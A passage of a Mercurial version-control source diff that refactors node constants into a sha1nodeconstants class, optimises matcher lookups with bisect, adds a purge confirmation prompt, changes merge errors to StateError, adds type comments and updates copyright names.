self._revlog.emitrevisions( nodes, @@ -1829,6 +1845,7 @@ revisiondata=revisiondata, assumehaveparentrevisions=assumehaveparentrevisions, deltamode=deltamode, + sidedata_helpers=sidedata_helpers, ) def addgroup( @@ -1836,6 +1853,7 @@ deltas, linkmapper, transaction, + alwayscache=False, addrevisioncb=None, duplicaterevisioncb=None, ): @@ -1843,6 +1861,7 @@ deltas, linkmapper, transaction, + alwayscache=alwayscache, addrevisioncb=addrevisioncb, duplicaterevisioncb=duplicaterevisioncb, ) @@ -1909,6 +1928,7 @@ they receive (i.e. tree or flat or lazily loaded, etc).""" def __init__(self, opener, repo, rootstore, narrowmatch): + self.nodeconstants = repo.nodeconstants usetreemanifest = False cachesize = 4 @@ -1947,7 +1967,7 @@ if not self._narrowmatch.always(): if not self._narrowmatch.visitdir(tree[:-1]): - return excludeddirmanifestctx(tree, node) + return excludeddirmanifestctx(self.nodeconstants, tree, node) if tree: if self._rootstore._treeondisk: if verify: @@ -2110,7 +2130,7 @@ def __init__(self, manifestlog, dir=b''): self._manifestlog = manifestlog self._dir = dir - self._treemanifest = treemanifest() + self._treemanifest = treemanifest(manifestlog.nodeconstants) def _storage(self): return self._manifestlog.getstorage(b'') @@ -2160,17 +2180,19 @@ narrowmatch = self._manifestlog._narrowmatch if not narrowmatch.always(): if not narrowmatch.visitdir(self._dir[:-1]): - return excludedmanifestrevlog(self._dir) + return excludedmanifestrevlog( + self._manifestlog.nodeconstants, self._dir + ) return self._manifestlog.getstorage(self._dir) def read(self): if self._data is None: store = self._storage() if self._node == nullid: - self._data = treemanifest() + self._data = treemanifest(self._manifestlog.nodeconstants) # TODO accessing non-public API elif store._treeondisk: - m = treemanifest(dir=self._dir) + m = treemanifest(self._manifestlog.nodeconstants, dir=self._dir) def gettext(): return store.revision(self._node) @@ -2190,7 +2212,9 @@ text = store.revision(self._node) arraytext = bytearray(text) store.fulltextcache[self._node] = arraytext - self._data = treemanifest(dir=self._dir, text=text) + self._data = treemanifest( + self._manifestlog.nodeconstants, dir=self._dir, text=text + ) return self._data @@ -2227,7 +2251,7 @@ r0 = store.deltaparent(store.rev(self._node)) m0 = self._manifestlog.get(self._dir, store.node(r0)).read() m1 = self.read() - md = treemanifest(dir=self._dir) + md = treemanifest(self._manifestlog.nodeconstants, dir=self._dir) for f, ((n0, fl0), (n1, fl1)) in pycompat.iteritems(m0.diff(m1)): if n1: md[f] = n1 @@ -2270,8 +2294,8 @@ whose contents are unknown. """ - def __init__(self, dir, node): - super(excludeddir, self).__init__(dir) + def __init__(self, nodeconstants, dir, node): + super(excludeddir, self).__init__(nodeconstants, dir) self._node = node # Add an empty file, which will be included by iterators and such, # appearing as the directory itself (i.e. something like "dir/") @@ -2290,12 +2314,13 @@ class excludeddirmanifestctx(treemanifestctx): """context wrapper for excludeddir - see that docstring for rationale""" - def __init__(self, dir, node): + def __init__(self, nodeconstants, dir, node): + self.nodeconstants = nodeconstants self._dir = dir self._node = node def read(self): - return excludeddir(self._dir, self._node) + return excludeddir(self.nodeconstants, self._dir, self._node) def readfast(self, shallow=False): # special version of readfast since we don't have underlying storage @@ -2317,7 +2342,8 @@ outside the narrowspec. """ - def __init__(self, dir): + def __init__(self, nodeconstants, dir): + self.nodeconstants = nodeconstants self._dir = dir def __len__(self): diff -r bc268ea9f984 -r f67b8946bb1b mercurial/match.py --- a/mercurial/match.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/match.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,12 +1,13 @@ # match.py - filename matching # -# Copyright 2008, 2009 Matt Mackall and others +# Copyright 2008, 2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. from __future__ import absolute_import, print_function +import bisect import copy import itertools import os @@ -798,14 +799,38 @@ def visitdir(self, dir): return dir in self._dirs + @propertycache + def _visitchildrenset_candidates(self): + """A memoized set of candidates for visitchildrenset.""" + return self._fileset | self._dirs - {b''} + + @propertycache + def _sorted_visitchildrenset_candidates(self): + """A memoized sorted list of candidates for visitchildrenset.""" + return sorted(self._visitchildrenset_candidates) + def visitchildrenset(self, dir): if not self._fileset or dir not in self._dirs: return set() - candidates = self._fileset | self._dirs - {b''} - if dir != b'': + if dir == b'': + candidates = self._visitchildrenset_candidates + else: + candidates = self._sorted_visitchildrenset_candidates d = dir + b'/' - candidates = {c[len(d) :] for c in candidates if c.startswith(d)} + # Use bisect to find the first element potentially starting with d + # (i.e. >= d). This should always find at least one element (we'll + # assert later if this is not the case). + first = bisect.bisect_left(candidates, d) + # We need a representation of the first element that is > d that + # does not start with d, so since we added a `/` on the end of dir, + # we'll add whatever comes after slash (we could probably assume + # that `0` is after `/`, but let's not) to the end of dir instead. + dnext = dir + encoding.strtolocal(chr(ord(b'/') + 1)) + # Use bisect to find the first element >= d_next + last = bisect.bisect_left(candidates, dnext, lo=first) + dlen = len(d) + candidates = {c[dlen:] for c in candidates[first:last]} # self._dirs includes all of the directories, recursively, so if # we're attempting to match foo/bar/baz.txt, it'll have '', 'foo', # 'foo/bar' in it. Thus we can safely ignore a candidate that has a diff -r bc268ea9f984 -r f67b8946bb1b mercurial/mdiff.py --- a/mercurial/mdiff.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/mdiff.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # mdiff.py - diff and patch routines for mercurial # -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/merge.py --- a/mercurial/merge.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/merge.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # merge.py - directory-level update/merge handling for Mercurial # -# Copyright 2006, 2007 Matt Mackall +# Copyright 2006, 2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -234,7 +234,7 @@ else: warn(_(b"%s: untracked file differs\n") % f) if abortconflicts: - raise error.Abort( + raise error.StateError( _( b"untracked files in working directory " b"differ from files in requested revision" @@ -342,7 +342,7 @@ for f in pmmf: fold = util.normcase(f) if fold in foldmap: - raise error.Abort( + raise error.StateError( _(b"case-folding collision between %s and %s") % (f, foldmap[fold]) ) @@ -353,7 +353,7 @@ for fold, f in sorted(foldmap.items()): if fold.startswith(foldprefix) and not f.startswith(unfoldprefix): # the folded prefix matches but actual casing is different - raise error.Abort( + raise error.StateError( _(b"case-folding collision between %s and directory of %s") % (lastfull, f) ) @@ -505,7 +505,9 @@ if invalidconflicts: for p in invalidconflicts: repo.ui.warn(_(b"%s: is both a file and a directory\n") % p) - raise error.Abort(_(b"destination manifest contains path conflicts")) + raise error.StateError( + _(b"destination manifest contains path conflicts") + ) def _filternarrowactions(narrowmatch, branchmerge, mresult): @@ -1696,6 +1698,7 @@ tocomplete = [] for f, args, msg in mergeactions: repo.ui.debug(b" %s: %s -> m (premerge)\n" % (f, msg)) + ms.addcommitinfo(f, {b'merged': b'yes'}) progress.increment(item=f) if f == b'.hgsubstate': # subrepo states need updating subrepoutil.submerge( @@ -1711,6 +1714,7 @@ # merge for f, args, msg in tocomplete: repo.ui.debug(b" %s: %s -> m (merge)\n" % (f, msg)) + ms.addcommitinfo(f, {b'merged': b'yes'}) progress.increment(item=f, total=numupdates) ms.resolve(f, wctx) @@ -1919,10 +1923,10 @@ ### check phase if not overwrite: if len(pl) > 1: - raise error.Abort(_(b"outstanding uncommitted merge")) + raise error.StateError(_(b"outstanding uncommitted merge")) ms = wc.mergestate() - if list(ms.unresolved()): - raise error.Abort( + if ms.unresolvedcount(): + raise error.StateError( _(b"outstanding merge conflicts"), hint=_(b"use 'hg resolve' to resolve"), ) @@ -2008,7 +2012,7 @@ if mresult.hasconflicts(): msg = _(b"conflicting changes") hint = _(b"commit or update --clean to discard changes") - raise error.Abort(msg, hint=hint) + raise error.StateError(msg, hint=hint) # Prompt and create actions. Most of this is in the resolve phase # already, but we can't handle .hgsubstate in filemerge or @@ -2325,6 +2329,7 @@ removefiles=True, abortonerror=False, noop=False, + confirm=False, ): """Purge the working directory of untracked files. @@ -2345,6 +2350,8 @@ ``noop`` controls whether to actually remove files. If not defined, actions will be taken. + ``confirm`` ask confirmation before actually removing anything. + Returns an iterable of relative paths in the working directory that were or would be removed. """ @@ -2372,6 +2379,35 @@ status = repo.status(match=matcher, ignored=ignored, unknown=unknown) + if confirm: + nb_ignored = len(status.ignored) + nb_unkown = len(status.unknown) + if nb_unkown and nb_ignored: + msg = _(b"permanently delete %d unkown and %d ignored files?") + msg %= (nb_unkown, nb_ignored) + elif nb_unkown: + msg = _(b"permanently delete %d unkown files?") + msg %= nb_unkown + elif nb_ignored: + msg = _(b"permanently delete %d ignored files?") + msg %= nb_ignored + elif removeemptydirs: + dir_count = 0 + for f in directories: + if matcher(f) and not repo.wvfs.listdir(f): + dir_count += 1 + if dir_count: + msg = _( + b"permanently delete at least %d empty directories?" + ) + msg %= dir_count + else: + # XXX we might be missing directory there + return res + msg += b" (yN)$$ &Yes $$ &No" + if repo.ui.promptchoice(msg, default=1) == 1: + raise error.CanceledError(_(b'removal cancelled')) + if removefiles: for f in sorted(status.unknown + status.ignored): if not noop: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/mergestate.py --- a/mercurial/mergestate.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/mergestate.py Tue Apr 20 11:01:06 2021 -0400 @@ -10,7 +10,7 @@ bin, hex, nullhex, - nullid, + nullrev, ) from . import ( error, @@ -341,7 +341,7 @@ flo = fco.flags() fla = fca.flags() if b'x' in flags + flo + fla and b'l' not in flags + flo + fla: - if fca.node() == nullid and flags != flo: + if fca.rev() == nullrev and flags != flo: if preresolve: self._repo.ui.warn( _( @@ -382,7 +382,6 @@ if merge_ret is None: # If return value of merge is None, then there are no real conflict del self._state[dfile] - self._stateextras.pop(dfile, None) self._dirty = True elif not merge_ret: self.mark(dfile, MERGE_RECORD_RESOLVED) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/mergeutil.py --- a/mercurial/mergeutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/mergeutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # mergeutil.py - help for merge processing in mercurial # -# Copyright 2005-2007 Matt Mackall +# Copyright 2005-2007 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -13,7 +13,7 @@ def checkunresolved(ms): - if list(ms.unresolved()): + if ms.unresolvedcount(): raise error.StateError( _(b"unresolved merge conflicts (see 'hg help resolve')") ) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/metadata.py --- a/mercurial/metadata.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/metadata.py Tue Apr 20 11:01:06 2021 -0400 @@ -18,6 +18,7 @@ from . import ( error, pycompat, + requirements as requirementsmod, util, ) @@ -321,12 +322,12 @@ │ (Some, None) │ OR │🄻 Deleted │ ø │ ø │ │ │🄷 Deleted[1] │ │ │ │ ├──────────────┼──────────────┼──────────────┼──────────────┼──────────────┤ - │ │🄸 No Changes │ │ │ │ - │ (None, Some) │ OR │ ø │🄼 Added │🄽 Merged │ + │ │🄸 No Changes │ │ │ 🄽 Touched │ + │ (None, Some) │ OR │ ø │🄼 Added │OR 🅀 Salvaged │ │ │🄹 Salvaged[2]│ │ (copied?) │ (copied?) │ ├──────────────┼──────────────┼──────────────┼──────────────┼──────────────┤ - │ │ │ │ │ │ - │ (Some, Some) │🄺 No Changes │ ø │🄾 Merged │🄿 Merged │ + │ │ │ │ 🄾 Touched │ 🄿 Merged │ + │ (Some, Some) │🄺 No Changes │ ø │OR 🅁 Salvaged │OR 🅂 Touched │ │ │ [3] │ │ (copied?) │ (copied?) │ └──────────────┴──────────────┴──────────────┴──────────────┴──────────────┘ @@ -414,6 +415,7 @@ nice bonus. However do not any of this yet. """ + repo = ctx.repo() md = ChangingFiles() m = ctx.manifest() @@ -453,8 +455,23 @@ # case 🄻 — both deleted the file. md.mark_removed(filename) elif d1[1][0] is not None and d2[1][0] is not None: - # case 🄽 🄾 🄿 - md.mark_merged(filename) + if d1[0][0] is None or d2[0][0] is None: + if any(_find(ma, filename) is not None for ma in mas): + # case 🅀 or 🅁 + md.mark_salvaged(filename) + else: + # case 🄽 🄾 : touched + md.mark_touched(filename) + else: + fctx = repo.filectx(filename, fileid=d1[1][0]) + if fctx.p2().rev() == nullrev: + # case 🅂 + # lets assume we can trust the file history. If the + # filenode is not a merge, the file was not merged. + md.mark_touched(filename) + else: + # case 🄿 + md.mark_merged(filename) copy_candidates.append(filename) else: # Impossible case, the post-merge file status cannot be None on @@ -804,6 +821,21 @@ return encode_files_sidedata(files), files.has_copies_info +def copies_sidedata_computer(repo, revlog, rev, existing_sidedata): + return _getsidedata(repo, rev)[0] + + +def set_sidedata_spec_for_repo(repo): + if requirementsmod.COPIESSDC_REQUIREMENT in repo.requirements: + repo.register_wanted_sidedata(sidedatamod.SD_FILES) + repo.register_sidedata_computer( + b"changelog", + sidedatamod.SD_FILES, + (sidedatamod.SD_FILES,), + copies_sidedata_computer, + ) + + def getsidedataadder(srcrepo, destrepo): use_w = srcrepo.ui.configbool(b'experimental', b'worker.repository-upgrade') if pycompat.iswindows or not use_w: @@ -882,14 +914,14 @@ data = {}, False if util.safehasattr(revlog, b'filteredrevs'): # this is a changelog # Is the data previously shelved ? - sidedata = staging.pop(rev, None) - if sidedata is None: + data = staging.pop(rev, None) + if data is None: # look at the queued result until we find the one we are lookig # for (shelve the other ones) r, data = sidedataq.get() while r != rev: staging[r] = data - r, sidedata = sidedataq.get() + r, data = sidedataq.get() tokens.release() sidedata, has_copies_info = data new_flag = 0 diff -r bc268ea9f984 -r f67b8946bb1b mercurial/minirst.py --- a/mercurial/minirst.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/minirst.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # minirst.py - minimal reStructuredText parser # -# Copyright 2009, 2010 Matt Mackall and others +# Copyright 2009, 2010 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -158,7 +158,7 @@ _optionre = re.compile( br'^(-([a-zA-Z0-9]), )?(--[a-z0-9-]+)' br'((.*) +)(.*)$' ) -_fieldre = re.compile(br':(?![: ])([^:]*)(? + Copyright 2005, 2006 Olivia Mackall This software may be used and distributed according to the terms of the GNU General Public License, incorporated herein by reference. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/narrowspec.py --- a/mercurial/narrowspec.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/narrowspec.py Tue Apr 20 11:01:06 2021 -0400 @@ -329,7 +329,6 @@ trackeddirty = status.modified + status.added clean = status.clean if assumeclean: - assert not trackeddirty clean.extend(lookup) else: trackeddirty.extend(lookup) diff -r bc268ea9f984 -r f67b8946bb1b mercurial/node.py --- a/mercurial/node.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/node.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # node.py - basic nodeid manipulation for mercurial # -# Copyright 2005, 2006 Matt Mackall +# Copyright 2005, 2006 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -21,29 +21,48 @@ raise TypeError(e) -nullrev = -1 -# In hex, this is '0000000000000000000000000000000000000000' -nullid = b"\0" * 20 -nullhex = hex(nullid) +def short(node): + return hex(node[:6]) + -# Phony node value to stand-in for new files in some uses of -# manifests. -# In hex, this is '2121212121212121212121212121212121212121' -newnodeid = b'!!!!!!!!!!!!!!!!!!!!' -# In hex, this is '3030303030303030303030303030306164646564' -addednodeid = b'000000000000000added' -# In hex, this is '3030303030303030303030306d6f646966696564' -modifiednodeid = b'000000000000modified' +nullrev = -1 -wdirfilenodeids = {newnodeid, addednodeid, modifiednodeid} - -# pseudo identifiers for working directory -# (they are experimental, so don't add too many dependencies on them) +# pseudo identifier for working directory +# (experimental, so don't add too many dependencies on it) wdirrev = 0x7FFFFFFF -# In hex, this is 'ffffffffffffffffffffffffffffffffffffffff' -wdirid = b"\xff" * 20 -wdirhex = hex(wdirid) -def short(node): - return hex(node[:6]) +class sha1nodeconstants(object): + nodelen = 20 + + # In hex, this is '0000000000000000000000000000000000000000' + nullid = b"\0" * nodelen + nullhex = hex(nullid) + + # Phony node value to stand-in for new files in some uses of + # manifests. + # In hex, this is '2121212121212121212121212121212121212121' + newnodeid = b'!!!!!!!!!!!!!!!!!!!!' + # In hex, this is '3030303030303030303030303030306164646564' + addednodeid = b'000000000000000added' + # In hex, this is '3030303030303030303030306d6f646966696564' + modifiednodeid = b'000000000000modified' + + wdirfilenodeids = {newnodeid, addednodeid, modifiednodeid} + + # pseudo identifier for working directory + # (experimental, so don't add too many dependencies on it) + # In hex, this is 'ffffffffffffffffffffffffffffffffffffffff' + wdirid = b"\xff" * nodelen + wdirhex = hex(wdirid) + + +# legacy starting point for porting modules +nullid = sha1nodeconstants.nullid +nullhex = sha1nodeconstants.nullhex +newnodeid = sha1nodeconstants.newnodeid +addednodeid = sha1nodeconstants.addednodeid +modifiednodeid = sha1nodeconstants.modifiednodeid +wdirfilenodeids = sha1nodeconstants.wdirfilenodeids +wdirid = sha1nodeconstants.wdirid +wdirhex = sha1nodeconstants.wdirhex diff -r bc268ea9f984 -r f67b8946bb1b mercurial/obsolete.py --- a/mercurial/obsolete.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/obsolete.py Tue Apr 20 11:01:06 2021 -0400 @@ -560,10 +560,11 @@ # parents: (tuple of nodeid) or None, parents of predecessors # None is used when no data has been recorded - def __init__(self, svfs, defaultformat=_fm1version, readonly=False): + def __init__(self, repo, svfs, defaultformat=_fm1version, readonly=False): # caches for various obsolescence related cache self.caches = {} self.svfs = svfs + self.repo = repo self._defaultformat = defaultformat self._readonly = readonly @@ -806,7 +807,7 @@ if defaultformat is not None: kwargs['defaultformat'] = defaultformat readonly = not isenabled(repo, createmarkersopt) - store = obsstore(repo.svfs, readonly=readonly, **kwargs) + store = obsstore(repo, repo.svfs, readonly=readonly, **kwargs) if store and readonly: ui.warn( _(b'obsolete feature not enabled but %i markers found!\n') diff -r bc268ea9f984 -r f67b8946bb1b mercurial/parser.py --- a/mercurial/parser.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/parser.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # parser.py - simple top-down operator precedence parser for mercurial # -# Copyright 2010 Matt Mackall +# Copyright 2010 Olivia Mackall # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/pathutil.py --- a/mercurial/pathutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/pathutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -15,11 +15,21 @@ util, ) +if pycompat.TYPE_CHECKING: + from typing import ( + Any, + Callable, + Iterator, + Optional, + ) + + rustdirs = policy.importrust('dirstate', 'Dirs') parsers = policy.importmod('parsers') def _lowerclean(s): + # type: (bytes) -> bytes return encoding.hfsignoreclean(s.lower()) @@ -59,6 +69,7 @@ self.normcase = lambda x: x def __call__(self, path, mode=None): + # type: (bytes, Optional[Any]) -> None """Check the relative path. path may contain a pattern (e.g. foodir/**.txt)""" @@ -119,6 +130,7 @@ self.audited.add(normpath) def _checkfs(self, prefix, path): + # type: (bytes, bytes) -> None """raise exception if a file system backed check fails""" curpath = os.path.join(self.root, prefix) try: @@ -143,6 +155,7 @@ raise error.Abort(msg % (path, pycompat.bytestr(prefix))) def check(self, path): + # type: (bytes) -> bool try: self(path) return True @@ -164,6 +177,7 @@ def canonpath(root, cwd, myname, auditor=None): + # type: (bytes, bytes, bytes, Optional[pathauditor]) -> bytes """return the canonical path of myname, given cwd and root >>> def check(root, cwd, myname): @@ -266,6 +280,7 @@ def normasprefix(path): + # type: (bytes) -> bytes """normalize the specified path as path prefix Returned value can be used safely for "p.startswith(prefix)", @@ -289,6 +304,7 @@ def finddirs(path): + # type: (bytes) -> Iterator[bytes] pos = path.rfind(b'/') while pos != -1: yield path[:pos] @@ -318,6 +334,7 @@ addpath(f) def addpath(self, path): + # type: (bytes) -> None dirs = self._dirs for base in finddirs(path): if base.endswith(b'/'): @@ -330,6 +347,7 @@ dirs[base] = 1 def delpath(self, path): + # type: (bytes) -> None dirs = self._dirs for base in finddirs(path): if dirs[base] > 1: @@ -341,6 +359,7 @@ return iter(self._dirs) def __contains__(self, d): + # type: (bytes) -> bool return d in self._dirs @@ -355,4 +374,4 @@ # rather not let our internals know that we're thinking in posix terms # - instead we'll let them be oblivious. join = posixpath.join -dirname = posixpath.dirname +dirname = posixpath.dirname # type: Callable[[bytes], bytes] diff -r bc268ea9f984 -r f67b8946bb1b mercurial/phases.py --- a/mercurial/phases.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/phases.py Tue Apr 20 11:01:06 2021 -0400 @@ -127,10 +127,32 @@ util, ) +if pycompat.TYPE_CHECKING: + from typing import ( + Any, + Callable, + Dict, + Iterable, + List, + Optional, + Set, + Tuple, + ) + from . import ( + localrepo, + ui as uimod, + ) + + Phaseroots = Dict[int, Set[bytes]] + Phasedefaults = List[ + Callable[[localrepo.localrepository, Phaseroots], Phaseroots] + ] + + _fphasesentry = struct.Struct(b'>i20s') # record phase index -public, draft, secret = range(3) +public, draft, secret = range(3) # type: int archived = 32 # non-continuous for compatibility internal = 96 # non-continuous for compatibility allphases = (public, draft, secret, archived, internal) @@ -154,11 +176,13 @@ def supportinternal(repo): + # type: (localrepo.localrepository) -> bool """True if the internal phase can be used on a repository""" return requirements.INTERNAL_PHASE_REQUIREMENT in repo.requirements def _readroots(repo, phasedefaults=None): + # type: (localrepo.localrepository, Optional[Phasedefaults]) -> Tuple[Phaseroots, bool] """Read phase roots from disk phasedefaults is a list of fn(repo, roots) callable, which are @@ -191,6 +215,7 @@ def binaryencode(phasemapping): + # type: (Dict[int, List[bytes]]) -> bytes """encode a 'phase -> nodes' mapping into a binary stream The revision lists are encoded as (phase, root) pairs. @@ -203,6 +228,7 @@ def binarydecode(stream): + # type: (...) -> Dict[int, List[bytes]] """decode a binary stream into a 'phase -> nodes' mapping The (phase, root) pairs are turned back into a dictionary with @@ -321,6 +347,7 @@ class phasecache(object): def __init__(self, repo, phasedefaults, _load=True): + # type: (localrepo.localrepository, Optional[Phasedefaults], bool) -> None if _load: # Cheap trick to allow shallow-copy without copy module self.phaseroots, self.dirty = _readroots(repo, phasedefaults) @@ -330,6 +357,7 @@ self.opener = repo.svfs def hasnonpublicphases(self, repo): + # type: (localrepo.localrepository) -> bool """detect if there are revisions with non-public phase""" repo = repo.unfiltered() cl = repo.changelog @@ -343,6 +371,7 @@ ) def nonpublicphaseroots(self, repo): + # type: (localrepo.localrepository) -> Set[bytes] """returns the roots of all non-public phases The roots are not minimized, so if the secret revisions are @@ -362,6 +391,8 @@ ) def getrevset(self, repo, phases, subset=None): + # type: (localrepo.localrepository, Iterable[int], Optional[Any]) -> Any + # TODO: finish typing this """return a smartset for the given phases""" self.loadphaserevs(repo) # ensure phase's sets are loaded phases = set(phases) @@ -457,6 +488,7 @@ self._loadedrevslen = len(cl) def loadphaserevs(self, repo): + # type: (localrepo.localrepository) -> None """ensure phase information is loaded in the object""" if self._phasesets is None: try: @@ -470,6 +502,7 @@ self._phasesets = None def phase(self, repo, rev): + # type: (localrepo.localrepository, int) -> int # We need a repo argument here to be able to build _phasesets # if necessary. The repository instance is not stored in # phasecache to avoid reference cycles. The changelog instance @@ -652,6 +685,7 @@ return False def filterunknown(self, repo): + # type: (localrepo.localrepository) -> None """remove unknown nodes from the phase boundary Nothing is lost as unknown nodes only hold data for their descendants. @@ -729,6 +763,7 @@ def listphases(repo): + # type: (localrepo.localrepository) -> Dict[bytes, bytes] """List phases root for serialization over pushkey""" # Use ordered dictionary so behavior is deterministic. keys = util.sortdict() @@ -760,6 +795,7 @@ def pushphase(repo, nhex, oldphasestr, newphasestr): + # type: (localrepo.localrepository, bytes, bytes, bytes) -> bool """List phases root for serialization over pushkey""" repo = repo.unfiltered() with repo.lock(): @@ -909,6 +945,7 @@ def newcommitphase(ui): + # type: (uimod.ui) -> int """helper to get the target phase of new commit Handle all possible values for the phases.new-commit options. @@ -924,11 +961,13 @@ def hassecret(repo): + # type: (localrepo.localrepository) -> bool """utility function that check if a repo have any secret changeset.""" return bool(repo._phasecache.phaseroots[secret]) def preparehookargs(node, old, new): + # type: (bytes, Optional[int], Optional[int]) -> Dict[bytes, bytes] if old is None: old = b'' else: diff -r bc268ea9f984 -r f67b8946bb1b mercurial/posix.py --- a/mercurial/posix.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/posix.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # posix.py - Posix utility function implementations for Mercurial # -# Copyright 2005-2009 Matt Mackall and others +# Copyright 2005-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/profiling.py --- a/mercurial/profiling.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/profiling.py Tue Apr 20 11:01:06 2021 -0400 @@ -228,7 +228,7 @@ if self._output == b'blackbox': self._fp = util.stringio() elif self._output: - path = self._ui.expandpath(self._output) + path = util.expandpath(self._output) self._fp = open(path, b'wb') elif pycompat.iswindows: # parse escape sequence by win32print() diff -r bc268ea9f984 -r f67b8946bb1b mercurial/pure/bdiff.py --- a/mercurial/pure/bdiff.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/pure/bdiff.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # bdiff.py - Python implementation of bdiff.c # -# Copyright 2009 Matt Mackall and others +# Copyright 2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/pure/charencode.py --- a/mercurial/pure/charencode.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/pure/charencode.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # charencode.py - miscellaneous character encoding # -# Copyright 2005-2009 Matt Mackall and others +# Copyright 2005-2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/pure/mpatch.py --- a/mercurial/pure/mpatch.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/pure/mpatch.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # mpatch.py - Python implementation of mpatch.c # -# Copyright 2009 Matt Mackall and others +# Copyright 2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/pure/osutil.py --- a/mercurial/pure/osutil.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/pure/osutil.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # osutil.py - pure Python version of osutil.c # -# Copyright 2009 Matt Mackall and others +# Copyright 2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. diff -r bc268ea9f984 -r f67b8946bb1b mercurial/pure/parsers.py --- a/mercurial/pure/parsers.py Thu Mar 25 19:06:28 2021 -0400 +++ b/mercurial/pure/parsers.py Tue Apr 20 11:01:06 2021 -0400 @@ -1,6 +1,6 @@ # parsers.py - Python implementation of parsers.c # -# Copyright 2009 Matt Mackall and others +# Copyright 2009 Olivia Mackall and others # # This software may be used and distributed according to the terms of the # GNU General Public License version 2 or any later version. @@ -17,6 +17,7 @@ ) from ..revlogutils import nodemap as nodemaputil +from ..revlogutils import constants as revlog_constants stringio = pycompat.bytesio @@ -33,13 +34,6 @@ return x -indexformatng = b">Qiiiiii20s12x" -indexfirst = struct.calcsize(b'Q') -sizeint = struct.calcsize(b'i') -indexsize = struct.calcsize(indexformatng) -nullitem = (0, 0, 0, -1, -1, -1, -1, nullid) - - def gettype(q): return int(q & 0xFFFF) @@ -49,6 +43,19 @@ class BaseIndexObject(object): + # Format of an index entry according to Python's `struct` language + index_format = revlog_constants.INDEX_ENTRY_V1 + # Size of a C unsigned long long int, platform independent + big_int_size = struct.calcsize(b'>Q') + # Size of a C long int, platform independent + int_size = struct.calcsize(b'>i') + # An empty index entry, used as a default value to be overridden, or nullrev + null_item = (0, 0, 0, -1, -1, -1, -1, nullid) + + @util.propertycache + def entry_size(self): + return self.index_format.size + @property def nodemap(self): msg = b"index.nodemap is deprecated, use index.[has_node|rev|get_rev]" @@ -94,7 +101,7 @@ def append(self, tup): if '_nodemap' in vars(self): self._nodemap[tup[7]] = len(self) - data = _pack(indexformatng, *tup) + data = self.index_format.pack(*tup) self._extra.append(data) def _check_index(self, i): @@ -105,14 +112,14 @@ def __getitem__(self, i): if i == -1: - return nullitem + return self.null_item self._check_index(i) if i >= self._lgt: data = self._extra[i - self._lgt] else: index = self._calculate_index(i) - data = self._data[index : index + indexsize] - r = _unpack(indexformatng, data) + data = self._data[index : index + self.entry_size] + r = self.index_format.unpack(data) if self._lgt and i == 0: r = (offset_type(0, gettype(r[0])),) + r[1:] return r @@ -120,13 +127,13 @@ class IndexObject(BaseIndexObject): def __init__(self, data): - assert len(data) % indexsize == 0 + assert len(data) % self.entry_size == 0 self._data = data - self._lgt = len(data) // indexsize + self._lgt = len(data) 